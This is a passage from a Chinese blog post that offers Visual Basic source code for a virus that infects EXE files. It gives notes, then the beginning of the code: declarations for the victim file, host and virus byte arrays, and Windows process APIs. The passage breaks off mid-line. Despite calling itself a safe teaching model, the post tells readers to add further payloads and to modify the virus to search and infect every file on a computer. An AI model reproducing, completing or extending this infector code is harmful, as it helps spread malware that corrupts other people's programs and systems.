VB 感染EXE 程序病毒源码

最新推荐文章于 2023-12-13 14:52:09 发布

miaozk2006

最新推荐文章于 2023-12-13 14:52:09 发布

阅读量960

点赞数

本文链接：https://blog.csdn.net/miaozk2006/article/details/82417084

版权

这个博客通过VB代码展示了如何模拟EXE病毒的感染过程，旨在帮助读者理解病毒运行原理，增强程序安全性。代码目前仅限于实验，只在当前目录下随机选择文件进行感染，强调不得用于恶意目的。

摘要由CSDN通过智能技术生成

使大家清楚认识病毒程序的运行机理，提高自身程序的抵抗力。

说明：
1、本代码目前仅是实验模型，给新手讲解原理之用，不会失控，绝对安全。
2、本代码仅实现了感染EXE的功能，其他的功能还须你自己加入。
3、为了目前的安全，本病毒只是在病毒所在的目录下随机选一个文件感染，你可以利用此功能来调试；将来你可以修改，让它不断的循环搜索计算机上的所有文件。
4、最重要的：不要搞恶意破坏，否则真进了监狱后果自负！

代码：

Option Explicit
Private Victim As String ''要感染的文件的名字
Private HostLen As Long ''要感染的文件的大小
Private vbArray() As Byte ''病毒的代码
Private hArray() As Byte ''要感染的文件的代码
Private lenght As Long
Private MySize As Integer ''病毒的大小
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Priva